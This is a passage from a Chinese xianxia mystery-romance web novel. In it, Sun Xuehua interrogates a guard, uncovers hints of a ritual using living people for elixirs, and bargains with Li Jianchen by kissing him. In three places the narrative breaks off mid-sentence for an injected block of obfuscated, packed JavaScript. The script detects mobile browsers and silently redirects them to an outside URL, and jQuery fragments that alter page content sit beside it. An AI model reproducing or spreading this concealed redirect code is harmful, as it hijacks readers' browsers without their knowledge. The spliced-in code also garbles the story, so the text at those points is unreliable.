那几个仆从见状,忙奔了过来,宋忱冷冷说道:“去,立刻封锁整个江心洲,还有,带金伯涛过来问话。” “是。” 一人匆匆离去,其他人便搀扶着宋忱回到轿辇,抬着人前往庄主院内。 话分两头。 孙雪华没有急着去找阿音,而是找了个偏僻的角落,将那个叫小夏的护卫叫醒,对方看清他的脸后,又下意识地拔刀,被人制住后还不死心地大叫,孙雪华只好封了他的哑穴,说道:“听着,守卫长目前落在李见尘手里,恐怕凶多吉少,你要想他活命,最好与我合作。” 小夏瞪大了眼睛,满脸都写着错愕,孙雪华轻声道:“我现在问你几个问题,你只需要点头或者摇头就可以。” 小夏警惕地盯着他,没有回应。 孙雪华问道:“守卫长是不是一直侍奉在庄主左右?” 小夏眼珠子转了转,喉咙里发出了几个意义不明的音节,孙雪华解开了他的哑穴,对方问道:“我凭什么与你合作?你和那个跳大神的不是一伙的吗?” 先前还求着他高抬贵手,这会儿又硬气起来了。 孙雪华无奈,轻声道:“我和他不是一伙的。” 他顿了顿:“我师承临渊,是正儿八经的临渊弟子,此次前来,只是受掌门所托,前来贺寿,无意卷入这些风波之中,可现今事态复杂,我不能再袖手旁观。” 小夏闻言,顿时傻了眼:“临……临渊……就……就是那个……那个正道第一的,仙,仙仙门?” “嗯。”孙雪华点了点头,“我听说这钱庄上好几个护卫莫名失踪了,本想秘密调查,可是不知怎地,就被误认为是李见尘一伙的,之前与守卫长动手,实在是迫于自保,不得已才如此行事。” 小夏听了,忙不迭辩驳着:“我们守卫长向来赏罚分明,他定是抓到了你的把柄,否则不会轻易诬陷你的。” “所以我也想知道,究竟是什么原因,才让守卫长误会了我,”孙雪华循循善诱,“小夏,你对守卫长一片赤胆忠心,可李见尘诡计多端,你也不希望他被人蒙骗,让那贼人坐山观虎斗,坐收渔翁之利吧?” 小夏眼珠子转了转,犹豫半晌,问道:“你出身临渊,又这么厉害,一定能救守卫长吧?” “嗯,我答应你。” 得到承诺,小夏像是下定决心,小声道:“守卫长并不是一直侍奉在庄主左右的,我听前辈们说,守卫长原先是大少爷的剑侍,就是负责给大少爷背剑匣的,大概,和你们临渊的掌剑差不多吧。” “大少爷?” “嗯,大少爷,就是,林夫人的儿子,二小姐的哥哥,但他很早就去世了,我从来没有见过他,只知道有这么个人。”小夏思量许久,“前辈们说,好像就是大少爷过世之后,守卫长才被调到庄主身边,一路从小侍卫做到了守卫长。” “前辈们都说,就因为守卫长是大少爷的剑侍,所以庄主格外器重他。但守卫长虽说严厉,但的的确确有本事,刀子嘴豆腐心,对我们也是很好的。”小夏嘟囔着,“他比金伯涛强多了,那人虽说对谁都客客气气的,但遇到点事,从来都不在场,跟个缩头乌龟一样,哪里像守卫长,凡事都冲在前头?” 小年轻愤愤不平:“守卫长看不起他,我也看不起他,守卫长说得没错,他就是个懦夫。” 孙雪华拍拍他的肩膀:“守卫长确实很有骨气。” “这是当然了,前辈们说,守卫长在某方面和大少爷很像,庄主每次都夸赞他。可是,这一回,有不少兄弟失踪了,庄主不知道为什么,让金伯涛也掺和了进来,守卫长很不满,可庄主执意如此,有很多墙头草认为是守卫长失势,转而投靠金伯涛去了。” 言罢,小夏便呸了一声:“叛徒!” 26. 第 26 章 孙雪华陷入了沉思。 这次动静闹得那么大,几乎整个江心洲的护卫都围了过来,但金伯涛却从头到尾不见踪影。 是为什么呢? 孙雪华旁敲侧击地问着:“副守卫长曾说,守卫长总是在庄主跟前搬弄是非,给他穿小鞋,所以他们之间有些矛盾,副守卫长认为要避其锋芒,很少在守卫长面前出风头,会不会是这个原因,所以副守卫长才没有及时赶到?” 小夏听了,认真思考了一会儿,说道:“这个我倒不清楚,但我们守卫长从不嚼人舌根,他只是要求高,又严格,可是该给你的奖赏从不吝啬。” “那你将你知道的,再从头说给我听听呢?” 小夏沉吟许久,这才开口道:“我记得,金伯涛是这个江心洲刚建好的那年来的。从前,庄主一家都住在镇上的老宅,后来有了这个江心洲的别院,每年便要来住上几个月。这样一来,守卫的人手就不够了,守卫长就去招了不少人,金伯涛就是那时候来的。” “然后呢?” “他一开始确实挺不错的,人很和善,大家和他的关系也不错。守卫长看他勤快,又在五柳山庄修行过,身上有点本事,就让他去看守宋鸿。”小夏边想边说,忽然“哦”了一声,道,“宋鸿的事情,你们知道了吧?” “知道一点。” “很多人都在传他是个疯子,一天到晚闷在屋子里,不是杀这个就是杀那个,有人说他是要为他姐姐报仇,还有人说他就是嫉妒二小姐,所以莫名其妙就疯了。” 小夏舔了舔嘴唇,刚刚的打斗耗费了他不少力气,这会儿又说了这么多话,便有些口干舌燥。孙雪华见状,便解开自己的水囊,给他喂了些水。小夏咕噜咕噜喝了很多,才点头致谢,继续道:“金伯涛来了之后,便被安排到宋鸿的院子里,负责看守他。那时候巡夜,每个人会分一只巡逻犬,但金伯涛的那一只没多久就没了,守卫长一查,发现是宋鸿把它弄死了,去问金伯涛,金伯涛说是夜里边多了喝点酒,睡了过去,不知道有这件事。” “守卫长非常生气,因为喝酒误事在我们这儿是大忌,就罚他去洒扫庭院,后来的事情我就不太清楚了。” 这些说辞,倒是和宋鸿对得上。 孙雪华思忖着,问道:“短短几年,就从一无名小卒升任副守卫长,他也有些本事吧?” 小夏想了又想,嘀咕着:“我和金伯涛接触不多,也没觉着他有什么本事。不过——” 他迟疑片刻,说道:“这个江心洲刚建成的时候,其实经常有半夜闹鬼的传言,很多巡逻的兄弟都说,到了半夜就会看见有个黑黢黢的影子在路上游荡,可是走近了又看不见,每逢下雨天,还能听见哭声。但那时候,并没有人失踪,庄上也不曾少了东西,守卫长说是兄弟们困了,看错了,可那么多人都看见过,也说不准到底是什么。但后来,金伯涛说他有办法。” 小夏瞄了眼孙雪华的水囊,对方又给他喂了点水,等他喝饱了,才又说着:“这件事,应该是二小姐操持的,她那时候就已经接管了钱庄大部分事宜,差不多就是当家了。金伯涛只说他师承五柳山庄,学过一点术法,具体不能向外人透露。不过在这之后,确实不再闹鬼了。” 孙雪华忽地蹙眉,金伯涛会驱鬼?可观他言行举止,并不精通此道啊。 小夏没有看出异样,自顾自地说着:“也许就是从这件事之后,金伯涛才开始平步青云,一路做到了副守卫长。” 他说着,忽地灵光一闪,幡然醒悟:“难道就是这个原因,庄主才让金伯涛也?” 孙雪华没有接话,只是问他:“你们的调查进展如何?” 小夏摇了摇头:“毫无进展。最先失踪的那个,是二小姐院里的护卫,二小姐因此受了惊吓,搬回了镇上老宅,庄主觉得这件事很严重,就去请了那个跳大神的,但也有人说,他是庄主买回来的禁脔。我想也是,如果他真有点本事,怎么后来还是有人失踪?” “最先失踪的是二小姐院内的护卫,接着是李见尘那里,最后是宋鸿?” “嗯。”小夏点了点头。 “那从始至终,李见尘都没有任何动作?” 小夏仔细想了想,有些为难:“他这个人,很神秘,深居简出,我们这些小的都不知道他在做什么。可能守卫长知道的多一些,因为他来的那天,是守卫长和庄主亲自接待的,其他人一概不知。” 孙雪华垂眸,想来也套不出别的话,就安抚着:“多谢。” “哦!我想起来了!”小夏一个激灵,叫着,“就是那个跳大神的来到这儿的第一个晚上,恰好是我在巡夜。那天夜里风大雨急,我又瞧见了那个黑黢黢的影子,还听到了哭声。可走近了一瞧,又什么都没看见。第二天也没发生奇怪的事情,我就没放在心上。” “黑黢黢的影子?”孙雪华喃喃着,“大概是多高多重?像人影还是别的?” “瘦瘦高高的,看上去好像一个,一个,”小夏琢磨半天,也想不出个准确的形容词,他有些心虚地看向孙雪华,见对方神色肃穆,面容沉静,身姿不凡,忽然福如心至,说道,“看着和你一样,是个修者,应该也练剑吧,远远看上去,像一棵松柏。” 孙雪华闻言,心下起疑,修者?练剑? “二小姐练剑吗?” “不练剑,她平日里就侍花弄草,管管钱庄的账簿。不过,二小姐是庄主最喜欢的孩子,所以她也会炼丹。”小夏抓耳挠腮,“但我也没见过她炼丹,很多都是听说的。” “那个青铜兽纹鼎,二小姐也会用?” “不清楚。那是庄主的东西,据说还是传家宝。不过,二小姐反正是要接手整个钱庄的,这个鼎,早晚是她的。” 也就是说,除了宋忱,宋漪也有可能会这个缚灵铸器的术法? 孙雪华又问:“守卫长和二小姐关系如何?” ”自然是很好的。前辈们说,二小姐和大少爷是亲兄妹,关系最好,大少爷去世后,二小姐对守卫长也很关照的。” 孙雪华正要继续问下去,却听见不远处传来了细微的脚步声,他道:“得罪了。” 小夏还没反应过来,眼前一黑,就又昏了过去。 来人是李见尘。 他见了二人,两手抱胸,调笑着:“我坏了孙掌门的好事?” 孙雪华摇摇头:“没有。” “那你又把他弄晕?” “有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762384|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情想和李门主单独谈谈。” “哦?” 孙雪华不言,将小夏扛了起来,李见尘也没多说什么,跟着人往里头走。 “砰!” 衣柜的柜门被顶出去一丈开外,阿音从里头爬了出来,又用飘带将昏迷的宋鸿卷住,拖着平放到了地上。然后她就坐在衣柜上,等着人来。 先回来的是孙雪华,李见尘从他身后冒出个脑袋,笑眯眯地打了个招呼:“阿音。” 话音刚落,那少女就出现在了李见尘身侧,指了指宋鸿,又指了指那个衣柜,李见尘莞尔:“辛苦你了,这个衣柜再做个新的便好。” 孙雪华佯装没有听见,将小夏也放到了地上,转身对李见尘说道:“李门主可否借一步说话?” “小雪何时对我如此客气了?”李见尘笑笑,“难不成是听了那小护卫的一面之词,对我有所误解?” 孙雪华不语,只是静静地看着他,李见尘又道:“无妨,你直说,阿音不会有任何意见的。” 见状,孙雪华便直言道:“守卫长呢?” “扔在一边了,过会儿再带你去见他。” “你有问出来什么吗?” “问是问不出来,但取了一点。”李见尘掌心向上,托着一颗莹润的水珠似的东西,递给了孙雪华,“宁展阳性格强硬,心如冷铁,就这点记忆碎片,还是我硬挖出来的。” 孙雪华默然,刚要伸手接过来,却见某人蜷起五指,握住了那颗水珠,笑着:“孙掌门这会儿怎么不怪我滥用术法?” “守卫长对我们敌意非常强烈,如果仅仅是因为我们带走了宋鸿,捅破宋澜惨死的真相,我觉得,好像还少了点什么。”孙雪华有点想不通,他抬眸,瞥了眼李见尘,对方仍是笑盈盈的,等着他的答案。 孙雪华无奈,回答道:“如此强烈的敌意,若不施行一些特殊手段,便会让你们陷入危险之中。而且守卫长身强体壮,应该不会有性命之忧。” “你就这么放心我?” “李门主显山不显水,若真要动手,守卫长根本不堪一击。”孙雪华说着,便握住了李见尘的手腕,慢慢摸到了那颗水珠,低声道,“李门主再三地试探我,又是为何呢?你来到此处,真的只是因为宋忱的召唤吗?” 他猛地用力,攥紧了某人的指节,那颗水珠顿时碎裂,记忆的碎片瞬间漂浮于空中,散于各处。 形色各异的黑影,冲天的烈火,透亮的大鼎,消失于黑夜中的水汽。 孙雪华掌心的温度渗进皮肉,连带着他的气息,也钻入体内,李见尘蓦地有一丝恍惚。 他不知道该说些什么,要不要松手,又或是反扣住这人的掌心。 “你抓得我有点难受。”李见尘的嘴角勾起一抹笑意,却并不高兴,孙雪华没有松开,只是问他:“这个仪式,李门主知道吗?能用来加固缚灵阵的青铜鼎,又被当作了什么呢?” 他的眼神格外冷冽,仿佛在一瞬间看穿了李见尘所有的谎言,令人无处遁逃。 “唉。”某人轻叹,“我其实不太清楚,这个缚灵阵在传承的时候,究竟被改造成了什么样子,但是这个画面显示的场景,我猜,应该是在用活人炼丹。” 27. 第 27 章 “活人炼丹,乃是仙家大忌,孙掌门应该比我更清楚。”李见尘微微倾身,那双漂亮的眼睛近在咫尺,孙雪华甚至可以从那漆黑的眼瞳中看到自己冷肃的脸。 “听闻贵派也曾与魔都有过交易,每十年便会献出九名弟子,用以祭祀聚魔池,以期维持与魔都之间的势力平衡。” 孙雪华一怔,敛眉垂目,不再看他,李见尘偏偏不饶,又欺身上前,将这人的手紧紧攥住,贴耳说道:“这场见不得光的交易持续了数百年,直到小雪继任掌门,才将此事叫停。” 那柔软的声调落在耳侧,就像这暮春时节无声的煦风,轻飘飘地拂过一池静谧的湖水,惊起一阵涟漪。 孙雪华的指节用力,低眉不语,李见尘又道:“因祭祀叫停,聚魔池发生异动,间接导致魔族肆虐,生灵涂炭,而孙掌门,不得不以身殉道,来阻止这一切。” 他顿了顿,轻佻地朝着孙雪华的耳垂吹了一口气,掌心之中,那只被他紧握着的手动了动,似乎是要挣开他的束缚,李见尘不依不饶地说着:“孙掌门,你会不会后悔?若你没有叫停这一切,异变就不会发生,天下就不会大乱,临渊依旧可以独领风骚,而你,仍会是这正道魁首。” “真正的天下大同,不应该建立在这些无辜之人的血肉之上。” “那要是他们愿意呢?” “若是心甘情愿,又怎会秘而不发,甚至抹去他们的功绩?”孙雪华又闻到了李见尘身上那股来自大海的气息,他像是走在漫漫海边的旅人,往昔的一幕幕浮上心头,那些无言的呐喊、痛苦的哀嚎、愤怒的纠葛和崩溃的决裂,几乎构成了他人生大半的光阴。 他感到痛,但并不迷茫。 他道:“李门主旧事重提,是为了什么呢?是想证明你并非不问世事,还是认为借题发挥,就能掩盖些不可告人的秘密?” 李见尘勾起嘴角:“我是非常期待,小雪方寸大乱的时候,是何种模样。” 他默默松了手,那白皙的皮肤上映出淡红的指痕,像冬雪已至,迎风招展的红蕊白梅。孙雪华淡淡地瞄了一眼,说着:“宋漪是宋忱名义上的继承人,我怀疑她也会缚灵铸器之术,那个鼎——” “明天宋漪就会回庄,我们可以见见她。”李见尘眨眨眼,“或者我们现在再去搜罗一圈,看看有没有别的线索。宋忱已答应我,今日之事就此了结,我们可以在这庄上自由行动。” 孙雪华脸上闪过一丝疑虑:“你怎么说服他的?” “他怕死,自然就同意咯。”李见尘回答得简单又直接,摆明了不想再多解释一句,孙雪华料是如此,没有追问。 和这人纠缠,不如自己单干。 孙雪华不语,抬脚便要走,忽地看见尹晓棠从角落里冒出个头来,东张西望一会儿后,确定没有危险,才快步溜了过来。 “孙前辈。”小姑娘两手托着那张完好无损的宣纸,交给了孙雪华,“我没有碰到涛哥,但是在他房里找到了这个,他藏在床底下的暗格里,我就悄悄拿过来给你看看。” 她说着,又有些底气不足:“您,您要是觉得没问题,我就再放回去。” “一张宣纸。”孙雪华若有所思,也两手接了过来,那薄薄的纸张掀开一个微小的弧度,又迅速铺展开,上头空无一字,洁白如新,乍一看,并无任何异样。 “金伯涛为什么藏一张宣纸?”他思量着,李见尘却道:“这地界河网密布,江水不竭,春日里潮气格外重,寻常纸张怎么会如此干燥光洁呢?” 孙雪华凝气试探,并没有发现上面是否有术法残留。 “是用了什么东西浸泡过吗?”他仔细回忆了一番,但能保持物品干燥的涂料、灵器之类太多,他一时并不能辨认。 就在此时,他察觉到灵囊中有张灵符动了动。 “嗯?” 居然是,封印着宋澜那丝尘缘的灵符。 孙雪华有些诧异,看向尹晓棠,对方更是惊愕,支吾半天,说不出一个字来。 “金伯涛,和宋澜认识?” “不会吧?涛哥就比我大几岁,宋澜是宋鸿的姐姐,他们两个之间都差辈儿了。”尹晓棠说着说着,突然瞪大了眼睛,“难道,宋澜怀孕是真的?她是,她是涛哥的娘亲?” “哈哈。”李见尘放声大笑,“小丫头,你可真会猜啊。” 尹晓棠赧然:“那这,这个怎么解释呢?” 她红着耳朵看向孙雪华,又道:“孙前辈,我还偷偷去了一趟宋庄主的院子,林夫人好像有两个小孩。” “嗯,宋漪有个哥哥,但是很早就去世了。” “哥哥?”尹晓棠想不明白,“怎么还有个哥哥?” 孙雪华想着,朝她招招手:“尹姑娘,你附耳过来。” “嗯。” 尹晓棠听话地凑过耳朵,孙雪华吩咐了两句,她直点头:“好,我知道。” “拜托了。”少年颔首致谢,便收好那张宣纸,离开了这里。李见尘歪头,看了眼尹晓棠:“你的孙前辈都有哪些指示?” “孙前辈让我去套守卫长的话。”小姑娘不假思索地回答着,倒是有点出乎某人的意外:“小雪让你这么说的?” “他说你一定会问我的,让我实话实说就行。”尹晓棠一脸无辜,“所以,守卫长被你藏哪儿了?” 李见尘笑笑,做了个“请”的手势:“就让我家阿音带你去吧。” “哦。”尹晓棠也拱手抱拳,“谢过李前辈。” “嗯?” “孙前辈说,让我和你说到这儿就可以了,这样你就追不上他了。” 李见尘:“……” 还真是有意思啊,孙掌门,你也就认准了我不会和一个小姑娘翻脸。 某人不言,拂袖而去。 尹晓棠又看向蹲在地上的阿音,也跟着蹲下来:“阿音姑娘,你带我去吧。” 对方头上的飘带动了动,一边卷住了一个人,托着他们往树林深处飘了过去。尹晓棠就跟在后头,果然在一棵白玉兰树下看到了被五花大绑的宁展阳。她叉腰站了会儿,不知道接下来要干嘛,阿音就在地上慢慢写道:“我听他们说,这个庄上会用活人炼丹。” “活人炼丹?”尹晓棠一愣,几乎是下意识地问道,“他们也要追求长生不老吗?” “不知道。” 阿音写字的速度加快了些,将自己听到的一切记录下来,给尹晓棠看。小姑娘的脸色越来越差,喃喃着:“如果是活人炼丹,那得遭天谴的呀。守卫长不惜和我们鱼死网破,就是怕此等腌臜之事被孙前辈知道。” 这样一来,一切似乎都说得通。 可是涛哥藏着的宣纸,为何与宋澜有关联呢? 尹晓棠沉默不语。 另一头,孙雪华独自潜入了宁展阳的住处。 他认为此事颇有蹊跷。 单说活人炼丹,虽然那个画面里出现的所有人都模糊不清,可从身量来看,领头的那个大概率是个女子,且极有可能是宋漪。另外,所有人的外袍均是冬衣,说明活人炼丹已经持续了一段时间,起码要往前推半年,可护卫失踪,是一个多月前才开始的。那么这些被炼丹的活人,究竟是谁?还有,若主持者是宋漪,那么仪式动静如此之大,宋忱又怎会不知?可宋忱若是知晓这一切,又怎么会让金伯涛从五柳山庄请来外援?而李见尘,在这前后,究竟扮演了怎样的角色? 孙雪华在宁展阳的屋内四处搜寻。 守卫长单独住一间,而且这里的陈设,隐约和他本人的气质不太一样。 宁展阳给他的感觉,像一块顽石,刚烈固执,可这屋里,却放了些大大小小的陶罐,整整齐齐地摆在窗台,或是放在武器架的角上。陶罐颜色各异,上头还画了些五彩斑斓的小动物,无不彰显着可爱与有趣。 孙雪华先翻了翻那些陶罐。 里面全是些不起眼的石头,或是棱角分明,或是圆润饱满,浸泡在清澈微冷的水中。石头下面有一层细软的沙,孙雪华再往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762385|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下摸摸,直到底部,也没有发现其他的东西。他擦擦手,又去搜寻了一圈,发现宁展阳似乎是个很严谨的人,所有物品都井井有条地摆放着,而且他戒备心应该很重,所有会留下痕迹的,诸如书籍、信件之类,一概没有。 孙雪华并没有找到任何线索,只好又将目光投回了那些陶罐。 “这些,难道真的只是装饰?”他沉吟着,总觉得这些小玩意儿不像是宁展阳会收藏的东西。 孙雪华又重新摸了一遍,确定这些陶罐并没有隐藏着机关窍门,才微叹,便要起身离开。可他再擦擦手,那封印着宋澜尘缘的灵符,又动了动。 很微弱的动静,不用心感受,根本发觉不了。 孙雪华定定地站着。 “水,沙子,石头。” “水,江水,沙子,石头,江边。” 孙雪华微微蹙眉:“你的意思是,这些陶罐装着的,是你死去之时的江水和石头吗?” 他算算时间,宋澜死去之日,宁展阳确实极有可能在场。 假设活人炼丹,确实是宋漪主持的,那这位守卫长所效忠之人,极有可能是宋漪,而不是宋忱。他能参与到活人炼丹,必定也能替宋漪杀死宋澜。那李见尘一直逼问他的主上是谁,似乎也能得到合理的解释。 孙雪华决定取一点罐中清水一用。 可但他的手指碰到陶罐,忽地感到一丝不对劲,宋澜的尘缘,动静也太小了,远不如她对那个剑穗的反应,甚至不如对那张宣纸。若这陶罐里的江水,曾经浸泡过她的尸首,这石头曾经染过她的鲜血,那尘缘的反应应该更大才对。毕竟血肉之缘,已经是人世间最紧密的联系之一了。 他蜷起手指,就听到身后响起一个声音:“哎呀,小雪果然在这里。” 孙雪华转过身,就见李见尘笑盈盈地朝他走来:“怎么样,有没有什么发现?” “这些陶罐。” “嗯?这些罐子还挺好玩。”李见尘扫了一圈,笑着,“没想到守卫长还是个挺有童趣之人。” “宋澜的尘缘又动了一下。” “哦?”李见尘有些意外,“难道因为这里是她家,所以她对什么东西都有反应?” 孙雪华摇摇头,没有说话,李见尘叹道:“好吧,那就没意思了。” “李门主没有别的话要和我说吗?” “你想听什么?我都可以说给你听。”李见尘像是在开玩笑,孙雪华上前一步,注视着那张过分漂亮的脸,没有说话。某人见状,佯装不解,笑问:“小雪要说什么?想问我为什么这么快就找了过来?尹姑娘没能拖住我,她是个很实诚的孩子。” 那张艳丽的唇一张一合,听得人有些心烦意乱。 可孙雪华向来没有多少表情,他只是伸手,捂住了那张喋喋不休的嘴。 “嗯?”李见尘发出一声略带疑问的鼻音,像一只懒洋洋的小猫翘起了他的尾巴,孙雪华又捂紧了些,低声道:“别叫。” 李见尘眉头一挑,闷声笑着,孙雪华又觉得他吵闹,吵得自己理不清思绪,便又搭上一只手,掌心叠着手背,捂着他的嘴,好像这样那些恼人的声响就不会发出来似的。 李见尘终于笑够了,静静地站着,一双含情眼又直勾勾地盯着他。 孙雪华感觉自己有些看不清这个人,亦正亦邪,似敌非友,难以捉摸,连带着这张脸,都好像带上了一张虚伪的面具,剥都剥不开。 良久,他才缓缓松手,掌心早已是一片湿润,李见尘轻轻呼出一口气,本就红润的嘴唇被这么捂着,更像是抹了一层胭脂,殷红的,很润,像泡在水里的杏子一般汁水丰沛。 孙雪华旋即转身离去。 李见尘仍是调笑着:“怎么了,孙掌门?若你愿意,我真的可以为你做任何事。” “闭上你的嘴。” 孙雪华的声音幽幽传来,实在听不出情绪如何。 李见尘回头看了眼那些陶罐,“啧”了一声,追着人跑了过去。 28. 第 28 章 整个江心洲寂静无声。 一场风暴过后,只留下一片狼藉。所有巡逻的护卫皆是一脸肃穆,严阵以待。可除却他们,其他地方看不见任何人影,那些普通的侍从都不知去了哪里,错落有致的房屋静悄悄地伫立着,连一只蚂蚁都瞧不见。 孙雪华心下起疑,加快了脚步。 他来到了江边渡口,原本来来往往的船舶,此刻也不见了踪影。江风飘摇,水声漫漫,天色已近黄昏,落日余晖铺在水波荡漾的江面上,满目萧瑟。 孙雪华取出那张封印着宋澜尘缘的灵符,将其释放。点点微光逐渐聚拢,又变成了女子模样。她施施然在江边踱步,从左到右,再从右到左,最后坐在了水边。涌上来的江水穿过她的衣袍下摆,漫上了那青青野草。 孙雪华喃喃着:“这就是你去世的地方吗?” 宋澜端坐着,仍是双目紧闭,可神色宁静,不似之前那般满是忧愁。她无法回答孙雪华的问题,只是静坐着,好像下一刻就会睁开眼,冲着他们直笑。 孙雪华走了过去,施术探查,野草之下空无一物,没有半点痕迹。李见尘不知何时又冒了出来:“这么多年了,宋澜早就尸骨无存了吧?” 孙雪华没有接话,只是问了他一个问题:“你说,正常情况下,什么样的人,撒谎的可能性最大?” 李见尘笑笑:“你问我?像我这样油腔滑调的人,还真不知道诚实二字怎么写。” 孙雪华深深地注视着眼前的一切,收回那些尘缘,便不声不响地在江边走了一段路。李见尘跟在他身后,没有再招惹这个人。日暮西山,金色的余晖落在孙雪华肩头,将他的背影拉得斜斜长长,无端多了些许落寞。 李见尘刚要说些什么,就见对方停下脚步,低声说道:“宁展阳屋里的陶罐,里头装着的是细沙和石头。” “嗯。” “可是这江边,没有这样的细沙。”孙雪华转过身,那点余晖落入他的眼中,像江水上点点的粼光,竟冲淡了他原本的冷肃,多了些不可名状的忧愁。 李见尘一怔,直觉自己应当是瞒不过了。 “那个叫小夏的年轻护卫告诉我,宁展阳是个非常有能力的人,他的房间也非常整齐,可见他行为处事应该很有条理,那些陶罐不像是会被随意摆放在屋内的物品。” 孙雪华说着,眼底惆怅更深:“小夏还说,这个江心洲是近几年才建成的,可从宋鸿的年纪推算,宋澜已经去世许久,差不多有二三十年。” “她刚刚一直停留在江边码头,要么,那就是她埋骨之地,要么,就代表那里一定有什么东西牵绊着她。但不管是哪一种情况,都能证明,这个江心洲一定存在很长一段时间了。” 李见尘眨眨眼,问道:“所以呢?你觉得我在撒谎骗你?” 孙雪华不言,只是沉默地看着他,对方眉梢一挑:“真是让人伤心啊,孙掌门,你宁可相信一个对你刀剑相向的护卫,都不愿意相信我。” “李门主曾经说过,宋忱与宋漪都是你门下弟子。” “是。” “除了他们呢?就没有其他人了吗?” 孙雪华挑破了心头所想,那冷冷的眼神之下,暗潮汹涌,李见尘只觉得耳畔的声响更大了些,像无数个寂静长夜,他在冰冷的地宫中,听到的呜咽似的海风。 “李门主,既然愿意与我合作,何不如实告知?”孙雪华的薄唇像是染了一层淡淡的胭脂,比寻常时候更显得生动些,李见尘有些不想听他说话了。 要是这人能停止他的大道理,愿意亲一亲他,就好了。 “那些细沙,更像是海边所有。可宁展阳身为守卫长,大部分时间都在庄上,不大可能会去海边。就算去了海边,若不是意义重大,也不会留下这些陶罐。所以我怀疑这些——” “你怀疑宁展阳的陶罐和我听海崖密不可分?” 李见尘轻轻地笑了起来,心头却有些莫名的焦躁,仿佛有一团火在烧,一点一点蒸干他那点名为理智的水分。 他头一歪,静静地注视着眼前这个少年人,明明那些威仪之感早就显露无疑,可他还是觉得,这人真可爱,很值得去逗一逗,然后得到一个巴掌,嗔怪他无理取闹。 “我说过了,孙掌门想知道任何事情,我都可以如实相告。”李见尘伸手,点了点自己的唇,调笑着,“只要你愿意亲我一下。” 孙雪华不出所料,神色一僵,拳头也微微攥起,李见尘还以为他要发怒,笑着:“孙掌门生气的时候,也比平常鲜活许多。” 可是孙雪华并没有。 “你过来一些。”他道。 李见尘闻言,不慌不忙地走了过去。他比孙雪华略高一些,当然,也就只能欺负对方还未完全恢复原本的样貌和力量。 李见尘知道不能逼他太紧,可箭在弦上,又实在令他好奇,这人究竟会如何出招。 孙雪华垂下眼帘,不去看他,却又微微仰起头,吻上了那张丰润的唇。 李见尘很意外,竟愣在原地,浓密的眼睫微颤,心绪不宁的模样。孙雪华的唇和他整个人冷冽的气质完全不一样,是温热的、柔软的,甚至好像可以感觉到他内里磅礴的灵息,如日高悬,灿烂明媚。那温暖的触感如一阵春风,无声无息地撞开李见尘的心扉,吹开心底那近乎满溢的潮湿。 孙雪华陡然离开了他,端方而立,悄声问道:“可以了吗?” 那语调依旧镇定,仿佛这个吻,仅仅是一场再寻常不过的交易。 李见尘觉得不满足,复又低头去吻他,孙雪华伸手捂住他的唇:“李门主这是何意?” “不够。”某人含糊不清地说着,眯了眯眼,似乎是在笑。 “得寸进尺。” “那又如何?” 孙雪华松了手,不知道该露出怎样的表情,定定地看着他。李见尘只觉得耳边很喧嚣,那江水滔滔,晚风徐徐,渐渐地,又与记忆里聆听过的,无数次的海潮之声重叠,他蓦然喟叹:“我一直在等一个,像你这样的人出现。” 孙雪华不解,李见尘借机又吻了上来,他吻得很小心,很细致,一点点摩挲着那温热的唇瓣。孙雪华默然片刻,正要将人推开,李见尘却结束了这次的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762386|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肌肤相亲,莞尔道:“好了,你可以打我了。” 他两手背到身手,微微倾身,故意将那张好看的脸凑到孙雪华跟前,对方不言,默默伸出手,李见尘以为他真的要给自己一拳,又摆出那副可怜的姿态,头一歪,脸颊就贴在了孙雪华的掌心,像一只蓬松的猫猫,亲昵地蹭着对方:“轻一点哦。” 孙雪华没有表态,李见尘直言道:“宋忱的发妻,林采荷,是听海崖前任门主,她就是黎思之的师父,也是李闻棋的师父。” “宋忱当年确实是抛下蔚然派的一切,来到听海崖的。他在听海崖生活了很多年,与林采荷育有一儿一女,儿子叫宋涟,女儿叫宋漪。” “宋忱虽说在听海崖居住,可实际上依然与蔚然派保持联系,并借此机会,南下做生意。这镇上的老宅,并不是他的祖宅,只是他发迹之处。” 李见尘说着,莫名有点累,便又开始搞些小动作,作势要去亲人家,孙雪华捂住他的嘴,瞪了他一眼,李见尘只好乖乖离远一点,继续道:“宋忱并不是忠厚之人,他出门在外,养了很多姬妾,自然有许多孩子。可回了听海崖,就又是另一副嘴脸了。” “宋漪也不是经常住在听海崖,她时常随宋忱外出。不过她哥哥宋涟,倒是常年在林采荷身边练剑。” 